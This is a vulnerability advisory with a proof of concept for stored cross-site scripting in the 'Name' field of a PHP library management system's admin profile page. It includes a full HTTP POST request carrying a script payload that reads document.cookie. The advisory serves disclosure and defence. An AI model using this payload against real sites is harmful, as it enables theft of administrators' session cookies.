Library Management System With QR Code 1.0 Cross Site Scripting

#### Title: Library Management System with QR code Attendance 1.0 StoredCross-Site Scripting#### Author: Ashish Kumar (https://www.linkedin.com/in/ashish-kumar-0b65a3184)#### Date: 27.06.2022#### Vendor: https://www.sourcecodester.com/users/kingbhob02#### Software:https://www.sourcecodester.com/php/15434/library-management-system-qr-code-attendance-and-auto-generate-library-card.html#### Version: 1.0#### Reference:https://github.com/CyberThoth/CVE/blob/main/CVE/Library%20Management%20System%20with%20QR%20code%20Attendance/Cross%20Site%20Scripting(Stored)/POC.md#### Description：#### Library Management System with QR code Attendance is vulnerable toStored cross-site scripting on the profile edit page. The "Name" parameterin 'http://localhost/LMS/admin/edit_admin_details.php' is vulnerable.#### Impact: An attacker could steal cookies with a crafted URL sent to the victims.### POC```POST /LMS/admin/edit_admin_details.php?id=admin HTTP/1.1Host: localhostContent-Length: 115Cache-Control: max-age=0sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/LMS/admin/edit_admin_details.phpAccept-Encoding: gzip, deflateAccept-Language: en-GB,en-US;q=0.9,en;q=0.8Cookie: PHPSESSID=0r78mi76ub6k55p8mkce7f4pcoConnection: closeName=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&EmailId=admin%40gmail.com&MobNo=0&Password=admin&submit=```